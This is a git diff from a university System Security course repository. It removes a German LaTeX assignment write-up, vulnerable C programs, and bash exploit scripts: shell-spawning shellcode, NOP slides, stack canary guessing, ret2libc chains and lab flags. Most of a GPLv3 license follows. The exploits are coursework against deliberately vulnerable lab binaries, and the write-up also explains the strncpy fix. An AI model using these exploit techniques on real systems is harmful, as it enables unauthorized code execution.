Compare commits

..

No commits in common. "master" and "Assignment-5" have entirely different histories.

58 changed files with 27 additions and 3673 deletions

View file

@ -10,8 +10,7 @@ jobs:
matrix:
assignment: [
"Assignment 4 - Protokollsicherheit (Praxis)",
"Assignment 5 - Software Security - Teil 1",
"Assignment 6 - Software Security - Teil 2"
"Assignment 5 - Software Security - Teil 1"
]
steps:
- uses: actions/checkout@v3

1
.gitignore vendored
View file

@ -24,6 +24,7 @@ dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/

View file

@ -1,162 +0,0 @@
\documentclass[11pt]{scrartcl}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[ngerman]{babel}
\usepackage{lmodern}
\usepackage{graphicx}
\usepackage{listings}
\usepackage{xspace}
\usepackage{amsmath}
\usepackage{algorithm}
\usepackage{algpseudocode}
\usepackage{xifthen}
\usepackage{xcolor}
\usepackage{pdfpages}
\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry}
\usepackage{amsmath,amssymb,amstext,amsthm}
\usepackage[shortlabels]{enumitem}
\usepackage[headsepline]{scrlayer-scrpage}
\pagestyle{scrheadings}
\usepackage{titling}
\usepackage{etoolbox}
\usepackage{tikz}
\usepackage{multirow}
\usepackage{tabularx}
\definecolor{keyword}{rgb}{0.0, 0.0, 1.0}
\definecolor{comment}{rgb}{0.5, 0.5, 0.5}
\definecolor{string}{rgb}{0.6, 0.1, 0.1}
\definecolor{background}{rgb}{0.95, 0.95, 0.95}
\lstset{
language=bash,
backgroundcolor=\color{background},
basicstyle=\ttfamily\small,
keywordstyle=\color{keyword}\bfseries,
commentstyle=\color{comment}\itshape,
stringstyle=\color{string},
tabsize=2,
showspaces=false,
showstringspaces=false,
frame=single,
numbers=left,
numberstyle=\tiny\color{gray},
breaklines=true,
captionpos=b,
escapeinside={(*@}{@*)},
}
\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc}
\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc}
\tikzset{%
initial text={},
state/.style={circle, draw, minimum size=.6cm},
every initial by arrow/.style={-stealth},
every loop/.append style={-stealth},
>=stealth
}
\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}}
\ihead{System Security, SoSe 24, Assignment \thesheetnr}
% Sheet number
\newcounter{sheetnr}
\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}}
% Exercise environments
\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{}
\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}}
% Makros
% MACRO for whole diagram
% #1: total width of diagram
% #2: total height of diagram
% #3: nodes, paths, ...
\newcommand\protocolflow[3]{
\begin{center}
\begin{tikzpicture}[x=#1cm,y=#2cm]
#3
\end{tikzpicture}
\end{center}
}
% MACRO for path line shortening
% #1: start coordinate
% #2: target coordinate
% #3: text above arrow
\newcommand{\package}[3]{
\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2);
}
% Anpassen --> %
\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer}
\sheetnr{6}
% <-- Anpassen %
\begin{document}
\begin{exercise}[Smashing the Stack for Fun and Profit]{5}
\begin{subexercises}
\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert.
\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| }
\hline
Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\
\hline
Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\
\hline
Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\
\hline
Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\
\hline
Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&?&?&?&? & 'A'&'A'&'A'&'A'\\
\hline
&&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\
\hline
Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\
\hline
Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\
\hline
\end{tabular}
\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt.
Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.
\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
\lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
\end{subexercises}
\end{exercise}
\begin{exercise}[Stack-Based Buffer Overflow]{6}
\begin{subexercises}
\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\
\begin{lstlisting}[language=Bash]
#!/usr/bin/env sh
# 21 Byte Shellcode
SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Padding to fill:
# - 79 Bytes to fill buff
# - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value
PADDING=$(printf "A%.0s" $(seq 1 91))
# Address of the start of the buff array / shellcode
RETADDR="\x1C\xDB\xFF\xFF"
printf $SHELLCODE$PADDING$RETADDR
\end{lstlisting}
\item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\
\end{subexercises}
\end{exercise}
\end{document}

View file

@ -1,24 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// vulnerable function
int overflow_me(char* input)
{
char buff[100];
printf("Buffer is at %p\n", &buff); // buff's address is leaked :O
strcpy(buff, input);
return 1;
}
int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
overflow_me(argv[1]);
return 0;
}

View file

@ -1 +0,0 @@
flag{THAT_WAS_EASY_HUH}

View file

@ -1,14 +0,0 @@
#!/bin/bash
# flag{THAT_WAS_EASY_HUH}
######### Exploit #########
# Step 1: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Step 2: Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..91}
# Step 3: Overwrite the stored EIP with the address of the shellcode
printf "\x2c\xd5\xff\xff"
###########################

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

View file

@ -1 +0,0 @@
flag{CANARY_IS_ALSO_AN_ISLAND}

View file

@ -1,41 +0,0 @@
#!/bin/bash
# flag{CANARY_IS_ALSO_AN_ISLAND}
##### Exploit Creation Steps #####
# Step 1: Locate address of 'int stack_canaries [10]' using gdb
# Command: disas owerflow
# -> 0x56559020
##################################
# Step 2: Print all 10 possible stack canaries in gdb
# Command: x/10xw 0x56559020
##################################
# Step 3: Select only those canaries that do not contain a null byte
##################################
# Step 4: Combine Slide Rider with the selected stack canaries
##################################
############ Exploit ##############
# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
# Note: Only canaries without null bytes can be used due to the use of strcpy.
case $(( RANDOM % 3 )) in
0)
printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
;;
1)
printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
;;
2)
printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
;;
esac
# Step 2: Fill the buffer with a candidate return address
printf "\x10\xd6\xff\xff%.0s" {1..30}
# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
printf "\x90%.0s" {1..2000}
# Step 4: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
###################################

Binary file not shown.

Before

Width:  |  Height:  |  Size: 73 KiB

View file

@ -1,23 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int vuln(char* input) {
char buff[100];
strcpy(buff, input);
return 0;
}
int main(int argc, char *argv[])
{
if(argc < 2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
vuln(argv[1]);
return 0;
}

View file

@ -1,31 +0,0 @@
#!/bin/bash
# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
##### Exploit Creation Steps #####
###################################
# Step 1: Locate the offset of the string '/bin/sh' in libc
# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
# ---> 0x18c363
# Step 2: Determine the base address of libc in the ret2libc environment using gdb
# Command: info proc map
# ---> 0xf7dd4000
# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
# Commands:
# p system -> 0xf7e15360
# p exit -> 0xf7e07ec0
###################################
############ Exploit ##############
# Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..112}
# Overwrite the stored EIP with the address of 'system' function
# Place the address of 'exit' function as the return address for 'system'
# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
# All addresses are in little-endian format
printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
###################################

View file

@ -1,29 +0,0 @@
#!/bin/bash
##### Exploit Creation Steps #####
###################################
# Step 1: Find the addresses of 'system' and 'exit' functions using gdb
# Commands:
# p system -> 0xf7e15360
# p exit -> 0xf7e07ec0
# Step 2: Export an environment variable to inject our command as a string into the ret2libc executable
# Command: export COMMAND="echo 100 > /home/user/t0p_s3cr3t/owned"
# Step 3: Find the address of the environment variable string in memory using gdb
# Command: x/s *((char **)environ+16) (17th env. variable)
# Add 8 to the address to skip the 'COMMAND=' part
# -> 0xffffdeda (0xffffdee8 in gdb; different env. vars when executing ./ret2libc directly; found by trial and error)
###################################
############ Exploit ##############
# Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..112}
# Overwrite the stored EIP with the address of the 'system' function
# Place the address of the 'exit' function as the return address for 'system'
# Provide the argument for 'system', which is the address of the value of the environment variable COMMAND
# All addresses are in little-endian format
printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\xda\xde\xff\xff"
###################################

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

View file

@ -1 +0,0 @@
flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}

View file

@ -1,16 +0,0 @@
#!/bin/bash
# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
######### Exploit #########
# Step 1: Fill the buffer with a candidate return address
printf "\x0c\xd6\xff\xff%.0s" {1..30}
# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
printf "\x90%.0s" {1..2000}
# Step 3: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
###########################

View file

@ -1,12 +0,0 @@
#!/usr/bin/env sh
# slide for buffer size 20 + 2 bytes of saved ebp
SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22))
# jump over the ret addr
JMP_OVER_RET="\xeb\x04"
RET_ADDR="\x08\xdc\xff\xff"
# main nop slide (500 Bytes)
SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500))
SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE

View file

@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
